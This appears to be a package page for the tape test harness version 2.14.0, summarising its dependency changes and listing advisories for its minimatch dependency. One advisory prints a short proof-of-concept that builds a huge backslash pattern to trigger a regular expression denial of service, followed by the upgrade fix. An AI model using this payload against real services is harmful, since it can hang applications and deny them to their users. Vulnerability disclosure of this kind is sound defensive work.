Tape version 2.14.0 introduces a few notable changes compared to its predecessor, version 2.13.4, primarily in dependency updates. Most visibly, the has dependency is added, targeting version ~0.0.1. Furthermore, version constraints for existing dependencies are tightened or broadened, potentially impacting developers depending on transitive dependency resolutions. The glob dependency shifts from ~3.2.9 to ^3.2.9, indicating a willingness to accept minor and patch updates, while through moves from ~2.3.4 to ^2.3.4, representing a similar expansion of acceptable versions. The object-inspect dependency sees a significant update, moving from ~0.4.0 to ^1.0.0, potentially introducing breaking changes due to the major version bump. Besides dependency updates, the core functionality of tape, a TAP-producing test harness, remains consistent between versions. Developers upgrading should carefully examine the updated object-inspect and understand the has dependency impact. Tape provides a straightforward, minimalist approach to testing in Node.js and browsers. Its output is easily parsed by TAP reporters, enabling integration with various CI systems and testing tools. If you are already using tape, it is recommended to evaluate whether such dependency changes create a need for code updates.
All the vulnerabilities related to the version 2.14.0 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.